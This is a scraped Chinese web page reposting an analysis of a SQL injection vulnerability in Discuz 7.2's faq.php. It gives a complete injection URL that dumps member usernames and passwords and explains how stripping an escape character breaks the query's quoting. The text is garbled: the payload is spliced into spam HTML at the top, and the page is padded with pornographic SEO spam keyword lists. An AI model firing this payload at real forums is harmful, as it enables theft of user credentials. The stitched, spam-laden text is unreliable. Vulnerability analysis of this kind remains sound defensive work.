復(fù)制代碼 代碼如下:
http://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0 " /> 国产久久re6免费热在线,精品区2区3区4区产品乱码9,暖暖视频 免费 高清 日本8

天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

Discuz7.2版的faq.php SQL注入漏洞分析

注入代碼實例:
復(fù)制代碼 代碼如下:
http://www.jb51.NET/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

復(fù)制代碼 代碼如下:
($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定義一個數(shù)組groupids,然后遍歷$gids(這也是個數(shù)組,就是$_GET[gids]),將數(shù)組中的所有值的第一位取出來放在groupids中。

為什么這個操作就造成了注入?

discuz在全局會對GET數(shù)組進(jìn)行addslashes轉(zhuǎn)義,也就是說會將'轉(zhuǎn)義成/',所以,如果我們的傳入的參數(shù)是:gids[1]='的話,會被轉(zhuǎn)義成$gids[1]=/',而這個賦值語句$groupids[] = $row[0]就相當(dāng)于取了字符串的第一個字符,也就是/,把轉(zhuǎn)義符號取出來了。

再看后面,在將數(shù)據(jù)放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數(shù)

很簡單一個函數(shù),就是將剛才的$groupids數(shù)組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。

但是我們的數(shù)組剛?cè)〕鰜硪粋€轉(zhuǎn)義符,它會將這里一個正常的'轉(zhuǎn)義掉,比如這樣:
'1','/','3','4'
有沒有看出有點不同,第4個單引號被轉(zhuǎn)義了,也就是說第5個單引號和第3個單引號閉合。

php技術(shù)Discuz7.2版的faq.php SQL注入漏洞分析,轉(zhuǎn)載需保留來源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請第一時間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 国产精品1区2区 | 国产精人妻无码一区麻豆 | 自慰弄湿白丝袜 | 农民下乡在线观看3 | 嗯啊好爽视频 | 女人操男人| 无人区尖叫之夜美女姐姐视频 | 97久久精品视频 | 兔费看少妇性L交大片免费 偷偷要色偷偷 | 日本久久高清视频 | 色久久综合视频本道88 | 欧美一级久久久久久久久大 | 成人性生交大片免费看金瓶七仙女 | 国产精品美女久久久久浪潮AV | 中国人泡妞www免费 中国拍三a级的明星女 | 亚洲国产成人精品不卡青青草原 | 一个人免费播放高清在线观看 | 久久国语精品 | 麻豆成人AV久久无码精品 | 欧美片内射欧美美美妇 | 麻豆精品传媒卡一卡二传媒短视频 | 国产精品女主播主要上线 | 欧美整片华人play | 欧美尤物射精集锦 | YELLOW视频在线观看免费版高清 | 日本一本在线播放 | 中文字幕完整高清版 | 国产一区二区精品视频 | 青青视频 在线 在线播放 | 午夜国产精品免费观看 | 野花香在线观看免费高清播放视频 | 纯肉高H放荡受BL文库 | 免费一区二区三区久久 | 99视频这里只有精品国产 | 日欧一片内射VA在线影院 | 久久中文字幕亚洲精品最新 | 亚洲麻豆精品成人A在线观看 | 国产偷国产偷亚洲高清人乐享 | 91天堂国产在线 在线播放 | 午夜天堂AV久久久噜噜噜 | 世界第一黄暴漫画家 |